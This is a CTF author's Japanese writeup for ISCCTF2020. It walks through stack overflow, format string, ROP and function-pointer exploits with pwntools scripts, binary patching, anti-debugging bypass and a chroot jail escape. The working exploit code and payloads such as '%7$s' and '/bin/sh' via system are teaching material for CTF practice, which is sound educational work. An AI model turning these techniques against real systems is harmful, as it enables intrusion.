ISCCTF2020作問者writeup
問題
私が作問した上で実際に出題したのは以下の問題です.
writeupや問題はGitHubにも上がっています.
Pwn
Rev
Misc
Writeup
問題のIPアドレスは全て203.0.113.0
に置き換えています.
Pwn
stuck
25 solves / 436 pt
問題文
I'm full stuck engineer.
nc 203.0.113.0 4000
about
stuck overflowによってmainのリターンアドレスを書き換える問題です.
この難易度の問題,どうやって作ってもこんな感じになっちゃうから問題の一意性が保証できなくて辛い.
writeup
radare2で見ると,afl
の結果からwin
関数が定義されている事がわかり,その内容から,win
を呼び出すことでflagが読める事に気付けます.
[0x004010f0]> afl|grep win
0x004011d6 1 49 sym.win
[0x004010f0]> pdf @sym.win
┌ 49: sym.win ();
│ 0x004011d6 f30f1efa endbr64
│ 0x004011da 55 push rbp
│ 0x004011db 4889e5 mov rbp, rsp
│ 0x004011de 488d15230e00. lea rdx, str.flag.txt ; 0x402008 ; "flag.txt"
│ 0x004011e5 488d35250e00. lea rsi, [0x00402011] ; "cat"
│ 0x004011ec 488d3d220e00. lea rdi, str.bin_cat ; 0x402015 ; "/bin/cat"
│ 0x004011f3 b800000000 mov eax, 0
│ 0x004011f8 e8e3feffff call sym.imp.execl
│ 0x004011fd bf00000000 mov edi, 0 ; int status
└ 0x00401202 e8c9feffff call sym.imp.exit ; void exit(int status)
main
関数を読むと,gets
の引数がrbp-0x70
にあり,スタックフレームのサイズと等しい事がわかります.
[0x004010f0]> pdf @main
; DATA XREF from entry0 @ 0x401111
┌ 77: int main (int argc, char **argv, char **envp);
│ ; var char *s @ rbp-0x70
│ 0x00401207 f30f1efa endbr64
│ 0x0040120b 55 push rbp
│ 0x0040120c 4889e5 mov rbp, rsp
│ 0x0040120f 4883ec70 sub rsp, 0x70
│ 0x00401213 488d3d040e00. lea rdi, str.What_s_your_name ; 0x40201e ; "What's your name?\n> " ; const char *format
│ 0x0040121a b800000000 mov eax, 0
│ 0x0040121f e86cfeffff call sym.imp.printf ; int printf(const char *format)
│ 0x00401224 488d4590 lea rax, [s]
│ 0x00401228 4889c7 mov rdi, rax ; char *s
│ 0x0040122b b800000000 mov eax, 0
│ 0x00401230 e87bfeffff call sym.imp.gets ; char *gets(char *s)
つまり,gets
に0x78バイトのデータと適切(リトルエンディアン,64bit)に加工したwin
関数のアドレスを送るとflagが読めます.
#!/usr/bin/env python3
from pwn import *
binfile = './chall'
e = ELF(binfile)
context.binary = binfile
io = remote('203.0.113.0', 4000)
payload = b'a' * 0x78 + pack(e.sym['win'])
io.sendline(payload)
io.interactive()
flag
ISCCTF{Y0u_kn0w_5t4ck_0v3rfl0w}
echo
18 solves / 468 pt
問題文
echo echo
`nc 203.0.113.0 4002`
about
flagがバッファに読み込まれてはいるものの,通常の挙動では表示されません.
バッファのポインタはスタック上にあるので,format string attackを使って読み出します.
writeup
任意のディスアセンブラ等で確認すると,main
関数の最初でflag.txt
を読み込んでいる事がわかるので,ローカルでも適当なflagを用意しておきます.
echo hogefugapiyo > flag.txt
また,main
関数内では,ユーザが任意のデータを入力できるバッファをそのままprintf
の第一引数に渡している 事からfsaが利用可能である事がわかります.
gdbとfsaを使ってスタックの状態を確認してみます.
%p
を用いて,スタック上の値を表示します.
%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
0xa,(nil),(nil),0xa,0x7ffffffa,0x5555555592a0,0x555555559480,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x70252c70,(nil),(nil)
また,gdbを用いてスタックを見てみると,0x555555559480
に”hogefugapiyo”(ローカルで用意したダミーのflag)がある事がわかります.
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd208 --> 0x555555555452 (<main+489>: mov edi,0xa)
0008| 0x7fffffffd210 --> 0x5555555592a0 --> 0xfbad2488
0016| 0x7fffffffd218 --> 0x555555559480 ("hogefugapiyo\n")
0024| 0x7fffffffd220 ("%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p")
0032| 0x7fffffffd228 (",%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p")
0040| 0x7fffffffd230 ("p,%p,%p,%p,%p,%p,%p,%p,%p,%p")
0048| 0x7fffffffd238 ("%p,%p,%p,%p,%p,%p,%p")
0056| 0x7fffffffd240 (",%p,%p,%p,%p")
ここで,改めてプログラムからの出力を確認すると,0x555555559480
は7番目である事がわかります.
よって,%7$s
でこのアドレスの文字列を読み出します.
ローカルで確認すると
$ ./chall
%7$s
hogefugapiyo
$ cat flag.txt
hogefugapiyo
しっかりとflag.txt
の内容が出力されている事がわかったので,リモートにも同じ文字列を送ります.
flag
ISCCTF{th3_f1r5t_4rgum3nt_0f_printf_must_b3_a_str1ng_l1t3r4l}
portal
9 solves / 493 pt
問題文
login機能を実装したけど,関数を呼び出し忘れちゃった😭
nc 203.0.113.0 4001
about
ROPです.
pltにsystemがあるので,それを使う事もできましたね.
writeup
main
を読むと,問題文の通りauthenticate
を呼び出していませんが,スタック上の変数に対しgets
を使っています.
また,authenticate
を読むと,第一引数が0xc0ffee
の時,第二引数をsystem
に渡しています.
第一引数が条件を満たさない場合はsystem("cowsay cat flag.txt")
が呼び出されます.
これらの解析から,
main
のgets
ではスタックオーバーフローが発生するauthenticate(0xc0ffee, "cat flag.txt")
の様な呼び出しをすればflagが読める
事が予想できます.
幸いな事に,"cat flag.txt"
の文字列はcowsay
の所にあるので,これが流用できます.
#!/usr/bin/env python3
from pwn import *
binfile = './chall'
context.binary = binfile
e = ELF(binfile)
rop = ROP(e)
io = remote("203.0.113.0", 4001)
for _ in range(6):
io.readline()
rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(pack(0xc0ffee)) # rdi
rop.raw(rop.find_gadget(['pop rsi', 'pop r15', 'ret']))
rop.raw(pack(next(e.search(b'cat flag.txt')))) # rsi
rop.raw(pack(0)) # r15
rop.call(pack(e.sym['authenticate']))
payload = b'a' * 0x28 + rop.chain()
io.sendline(payload)
print(io.readline().decode())
flag
ISCCTF{ROP_1s_k1ll3d_by_Intel_CET}
iter_fold
6 solves / 498 pt
問題文
トゥットゥルー♪まゆしぃ☆です。
`nc 203.0.113.0 4004`
about
Rustのiter().fold()
の様な挙動を再現するプログラムです.
関数ポインタ経由の呼び出しと,C言語における配列のインデックスアクセスが糖衣構文である事を 利用します.
また,libcのベースアドレスが提示されているので活用します.
writeup
typedef long (*operation)(long*, long);
struct Fold {
long array[5];
operation ops[6];
};
こんな構造体があり,
long fold(long* array, long* init, operation op) {
for (int i = 0; i < 5; i++)
op(init, array[i])
return *init;
}
に渡される.
main
では,
struct Fold f = {
.array = {0, 0, 0, 0, 0},
.ops[0] = multiplication,
.ops[1] = add,
.ops[3] = sub,
.ops[5] = division,
};
の様に変数が宣言されています,add
やsub
は名前に準じた操作を行う関数です.
f.array
の各要素をscanf("%ld", &f.array[i])
で読み込んだ後,初期値,演算子を読んでいます.
しかし,演算子の扱いが問題です.
scanf("%c", &op);
でop
に読んだ後,
fold(f.array, &init, f.ops[op_to_index(op)]);
の様な呼び出しをしています.
op_to_index
はシンプルで,
int op_to_index(char op) {
return op - '*';
}
これは,想定されている演算子('+', '-', '*', '/')
の中では正常に機能しますが,それ以外の文字が入力された場合に脆弱です.
C言語において,配列への添字によるアクセスは糖衣構文です.
ops[i] == *(ops + i)
つまり,添字の値が負であった場合も動作します.
ここで,メモリ上のFold
の配置を確認すると
f.array[4] == f.ops[-1]
である事がわかります.
f.array[4]
に任意のアドレスを入れれば,それを呼び出せる訳です.
from pwn import *
binfile = '../distfiles/chall'
e = ELF(binfile)
context.binary = binfile
libc = ELF('../distfiles/libc-2.27.so')
io = remote('203.0.113.0', 4004)
system_offset = libc.sym['system']
sh_byte = 0x6873
# 0x7f3965438000 < トゥットゥルー♪ libcです☆
libc_base_addr = int(io.recvline().split()[0], 16)
system_addr = libc_base_addr + system_offset
array = [0] * 4 + [system_addr]
for i in array:
# array[] =
io.sendlineafter('=', str(i))
# init =
io.sendlineafter('=', str(sh_byte))
# operator please(+,-,*,/)
io.readline()
# op = '*' - 1
io.sendline(chr(ord('*') - 1))
# vec![].iter().fold(, |ans, &x| ans x);
io.readline()
io.sendline('cat flag.txt')
print(io.readline().decode())
flag
ISCCTF{m4g1c4l_p0w3rfull_libc_offset}
Reversing
strings
63 solves / 100 pt
問題文
**(ja)**
CTFでは問題名がヒントになる場合があります。
**(en)**
The challenge name is sometimes a hint in CTF.
---
作問者(Author): [n01e0](https://twitter.com/n01e0) / レビュワー(Reviewer): [8ayac](https://twitter.com/8ayac)
about
問題文と問題名の通りです
writeup
$ strings strings |grep ISCCTF
ISCCTF{c4n_y0u_r34d_m3?}
flag
ISCCTF{c4n_y0u_r34d_m3?}
bookshop
18 solves / 468 pt
問題文
D☆V
about
D☆Vはドキドキ☆ビジュアルの略です.
色々な雑誌が売っているというプログラムです.
雑誌の中にflagが混ざっていますが,高すぎて所持金が足りません.
一応バイナリにパッチを当てる事が想定解ですが,flagの出力部分を読む事でも解けるのでeasy
です.
writeup
main
を読むと,最初に色々と初期化してるのがわかるので,flag
の値段を代入している部分を探す.
│ 0x000018ff f30f1efa endbr64
│ 0x00001903 55 push rbp
│ 0x00001904 4889e5 mov rbp, rsp
│ 0x00001907 4881ecd00100. sub rsp, 0x1d0
│ 0x0000190e 64488b042528. mov rax, qword fs:[0x28]
│ 0x00001917 488945f8 mov qword [var_8h], rax
│ 0x0000191b 31c0 xor eax, eax
│ 0x0000191d 488d95e0feff. lea rdx, [s]
│ 0x00001924 b800000000 mov eax, 0
│ 0x00001929 b91f000000 mov ecx, 0x1f
│ 0x0000192e 4889d7 mov rdi, rdx
│ 0x00001931 f348ab rep stosq qword [rdi], rax
│ 0x00001934 66c745d4d007 mov word [var_2ch], 0x7d0
│ 0x0000193a 48b84b697261. movabs rax, 0x61726172694b ; 'Kirara'
│ 0x00001944 ba00000000 mov edx, 0
│ 0x00001949 48898530feff. mov qword [var_1d0h], rax
│ 0x00001950 48899538feff. mov qword [var_1c8h], rdx
│ 0x00001957 c78540feffff. mov dword [var_1c0h], 0
│ 0x00001961 c78544feffff. mov dword [var_1bch], 0x17c
│ 0x0000196b 48c78548feff. mov qword [var_1b8h], 0x58414d ; 'MAX'
│ 0x00001976 48c78550feff. mov qword [var_1b0h], 0
│ 0x00001981 c78558feffff. mov dword [var_1a8h], 0
│ 0x0000198b c7855cfeffff. mov dword [var_1a4h], 0x17c
│ 0x00001995 48b843617261. movabs rax, 0x7461726143 ; 'Carat'
│ 0x0000199f ba00000000 mov edx, 0
│ 0x000019a4 48898560feff. mov qword [var_1a0h], rax
│ 0x000019ab 48899568feff. mov qword [var_198h], rdx
│ 0x000019b2 c78570feffff. mov dword [var_190h], 0
│ 0x000019bc c78574feffff. mov dword [var_18ch], 0x1ea
│ 0x000019c6 48b8466f7277. movabs rax, 0x64726177726f46 ; 'Forward'
│ 0x000019d0 ba00000000 mov edx, 0
│ 0x000019d5 48898578feff. mov qword [var_188h], rax
│ 0x000019dc 48899580feff. mov qword [var_180h], rdx
│ 0x000019e3 c78588feffff. mov dword [var_178h], 0
│ 0x000019ed c7858cfeffff. mov dword [var_174h], 0x24e
│ 0x000019f7 48b84d697261. movabs rax, 0x656c636172694d ; 'Miracle'
│ 0x00001a01 ba00000000 mov edx, 0
│ 0x00001a06 48898590feff. mov qword [var_170h], rax
│ 0x00001a0d 48899598feff. mov qword [var_168h], rdx
│ 0x00001a14 c785a0feffff. mov dword [var_160h], 0
│ 0x00001a1e c785a4feffff. mov dword [var_15ch], 0x16e
│ 0x00001a28 48c785a8feff. mov qword [var_158h], 0x67616c66 ; 'flag'
│ 0x00001a33 48c785b0feff. mov qword [var_150h], 0
│ 0x00001a3e c785b8feffff. mov dword [var_148h], 0
│ 0x00001a48 c785bcfeffff. mov dword [var_144h], 0xffff <- 値段
│ 0x00001a52 c785c0feffff. mov dword [var_140h], 3
│ 0x00001a5c c785c4feffff. mov dword [var_13ch], 3
│ 0x00001a66 c785c8feffff. mov dword [var_138h], 1
│ 0x00001a70 c785ccfeffff. mov dword [var_134h], 2
│ 0x00001a7a c785d0feffff. mov dword [var_130h], 3
│ 0x00001a84 c785d4feffff. mov dword [var_12ch], 1
│ 0x00001a8e 488d3dd50600. lea rdi, str.Welcome_to_BookStore ; 0x216a ; "Welcome to Book
419 00001a20: a4fe ffff 6e01 0000 48c7 85a8 feff ff66 ....n...H......f
420 00001a30: 6c61 6748 c785 b0fe ffff 0000 0000 c785 lagH............
421 00001a40: b8fe ffff 0000 0000 c785 bcfe ffff ffff ................
↑ここ
これを書き換えればflagの値段を変えられるので,0にでもしておきます(所持金を増やしても良いが).
419 00001a20: a4fe ffff 6e01 0000 48c7 85a8 feff ff66 ....n...H......f
420 00001a30: 6c61 6748 c785 b0fe ffff 0000 0000 c785 lagH............
421 00001a40: b8fe ffff 0000 0000 c785 bcfe ffff 0000 ................
すると,flag
が0円になるので買って読みます.
flag
ISCCTF{y0u_c4n_p4tch_b1n4r13s_w1th_xxd_4nd_vim}
The_Full_Bug
8 solves / 495 pt
問題文
デバッグできん
about
Rustバイナリです.
想定解はアンチデバッグを潰してレジスタを書き換える方法ですが,これもflagの出力部分を読めば解けるのでmediumです.
writeup
そのままだとgdb経由で実行できません.
dbg.main
を読むと,最初の方でdetect
と名前にある関数を呼び出しています.
detect
ではptrace
を使ってデバッガの検知を行っているので,この呼び出しをnopで潰します.
│ 0x0000a257 e8b4050000 call sym The_Full_Bug::detect::h18a724201806bd04 ; main.rs:6
2597 0000a240: c366 2e0f 1f84 0000 0000 000f 1f44 0000 .f...........D..
2598 0000a250: 4881 ec48 0200 00e8 b405 0000 eb0f 488b H..H..........H.
↑ここ
0x90(nop)で潰す
2597 0000a240: c366 2e0f 1f84 0000 0000 000f 1f44 0000 .f...........D..
2598 0000a250: 4881 ec48 0200 0090 9090 9090 eb0f 488b H..H..........H.
また,mainでは,他にもcheck_flag
と名前にある関数を呼んでいます.
名前からこの関数がflagのチェックをしていると予測できるので,ここにbreakpointを置きます.
gdb-peda$ b check_flag
Breakpoint 1 at 0xa76e: file src/main.rs, line 22.
また,main
を読むと,check_flag
の戻り値(rax)によって分岐している部分があるのがわかりま す.
適当な文字列を入力した際は戻り値が0になっているので,これをgdbを使って1に書き換えます.
gdbで適当な文字列を入力し,check_flag
からret
する直前にset $rax=1
します.
gdb-peda$
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffff7ff000
RCX: 0x4
RDX: 0x5555555edb10 --> 0x5555555ee380 --> 0x5555555efe60 --> 0x0
RSI: 0x5555555ecaf0 --> 0x5555555edb10 --> 0x5555555ee380 --> 0x5555555efe60 --> 0x0
RDI: 0x5555555ce016 --> 0x1000400020004
RBP: 0x1
RSP: 0x7fffffffce50 --> 0x5555555cec00 --> 0x65676f68 ('hoge')
RIP: 0x55555555e7fd (<The_Full_Bug::check_flag+157>: add rsp,0x78)
R8 : 0x3
R9 : 0x78bffff
R10: 0x7ed8320b
R11: 0x219c91a9
R12: 0x1
R13: 0x7fffff7fe000
R14: 0x5555555c8e28 --> 0x555555568a80 (<core::ptr::drop_in_place>: sub rsp,0x10)
R15: 0x7fffffffd308 --> 0x55555555e250 (<The_Full_Bug::main>: sub rsp,0x248)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555555e7f4 <The_Full_Bug::check_flag+148>: mov al,BYTE PTR [rsp+0x7]
0x55555555e7f8 <The_Full_Bug::check_flag+152>: and al,0x1
0x55555555e7fa <The_Full_Bug::check_flag+154>: movzx eax,al
=> 0x55555555e7fd <The_Full_Bug::check_flag+157>: add rsp,0x78
0x55555555e801 <The_Full_Bug::check_flag+161>: ret
0x55555555e802 <The_Full_Bug::check_flag+162>: mov QWORD PTR [rsp+0x48],rax
0x55555555e807 <The_Full_Bug::check_flag+167>: mov DWORD PTR [rsp+0x50],edx
0x55555555e80b <The_Full_Bug::check_flag+171>:
jmp 0x55555555e7e7 <The_Full_Bug::check_flag+135>: jmp 0x55555555e7e7 <The_Full_Bug::check_flag+135>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffce50 --> 0x5555555cec00 --> 0x65676f68 ('hoge')
0008| 0x7fffffffce58 --> 0x5555555ecaf0 --> 0x5555555edb10 --> 0x5555555ee380 --> 0x5555555efe60 --> 0x0
0016| 0x7fffffffce60 --> 0x40 ('@')
0024| 0x7fffffffce68 --> 0x40 ('@')
0032| 0x7fffffffce70 --> 0x2005555555cec00
0040| 0x7fffffffce78 --> 0x5555555cec00 --> 0x65676f68 ('hoge')
0048| 0x7fffffffce80 --> 0x4
0056| 0x7fffffffce88 --> 0x5555555cec00 --> 0x65676f68 ('hoge')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055555555e7fd 24 }
gdb-peda$ set $rax=1
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
RAX: 0x1
RBX: 0x7fffff7ff000
RCX: 0x4
RDX: 0x5555555edb10 --> 0x5555555ee380 --> 0x5555555efe60 --> 0x0
RSI: 0x5555555ecaf0 --> 0x5555555edb10 --> 0x5555555ee380 --> 0x5555555efe60 --> 0x0
RDI: 0x5555555ce016 --> 0x1000400020004
RBP: 0x1
RSP: 0x7fffffffcec8 --> 0x55555555e3eb (<The_Full_Bug::main+411>: mov BYTE PTR [rsp+0x5f],al)
RIP: 0x55555555e801 (<The_Full_Bug::check_flag+161>: ret)
R8 : 0x3
R9 : 0x78bffff
R10: 0x7ed8320b
R11: 0x219c91a9
R12: 0x1
R13: 0x7fffff7fe000
R14: 0x5555555c8e28 --> 0x555555568a80 (<core::ptr::drop_in_place>: sub rsp,0x10)
R15: 0x7fffffffd308 --> 0x55555555e250 (<The_Full_Bug::main>: sub rsp,0x248)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555555e7f8 <The_Full_Bug::check_flag+152>: and al,0x1
0x55555555e7fa <The_Full_Bug::check_flag+154>: movzx eax,al
0x55555555e7fd <The_Full_Bug::check_flag+157>: add rsp,0x78
=> 0x55555555e801 <The_Full_Bug::check_flag+161>: ret
0x55555555e802 <The_Full_Bug::check_flag+162>: mov QWORD PTR [rsp+0x48],rax
0x55555555e807 <The_Full_Bug::check_flag+167>: mov DWORD PTR [rsp+0x50],edx
0x55555555e80b <The_Full_Bug::check_flag+171>:
jmp 0x55555555e7e7 <The_Full_Bug::check_flag+135>: jmp 0x55555555e7e7 <The_Full_Bug::check_flag+135>
0x55555555e80d: nop DWORD PTR [rax]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffcec8 --> 0x55555555e3eb (<The_Full_Bug::main+411>: mov BYTE PTR [rsp+0x5f],al)
0008| 0x7fffffffced0 --> 0x0
0016| 0x7fffffffced8 --> 0x0
0024| 0x7fffffffcee0 --> 0x0
0032| 0x7fffffffcee8 --> 0x0
0040| 0x7fffffffcef0 --> 0x0
0048| 0x7fffffffcef8 --> 0x0
0056| 0x7fffffffcf00 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055555555e801 in The_Full_Bug::check_flag (input=...) at src/main.rs:24
24 }
gdb-peda$ c
Continuing.
ISCCTF{ptrace_c4n_4ls0_b3_u53d_t0_d3t3ct_d3bugg1ng}
[Inferior 1 (process 1133360) exited normally]
Warning: not running
gdb-peda$
flag
ISCCTF{ptrace_c4n_4ls0_b3_u53d_t0_d3t3ct_d3bugg1ng}
Misc
Shell_Aint_Bad_Place_to_Be
18 solves / 468 pt
問題文
jailbreakできますか?
`nc 203.0.113.0 5000`
about
簡易的なchroot jailに閉じ込められる問題です.
問題へアクセスすると,
- 現在
/home/misc/jail
にいる - flagは
/home/misc
にある exit cd ls pwd chroot mkdir cat
のコマンドが使える
事がわかります.
しかし,pwd
すると/
にいる為,cat ../flag.txt
等はできません.
いくつかコマンドが用意されている上,ソースコードも読めます.
chroot(2)
がcwd
を変更しない事を利用したchroot jailbreakです.
writeup
ソースコードを読むと,chroot
はchroot(args[1])
しかしない事がわかる.
man 2 chroot
を読むとわかる様に,mkdir foo;chroot foo; cd ..
でchroot jail
から逃げ出せてしまう.
よって,以下の順番でコマンドを送信するとflagが読める
- mkdir break(任意のディレクトリ名)
- chroot break
- cat ../flag.txt
flag
ISCCTF{chr00t_1s_n0t_ch4ng3_cwd}
Comments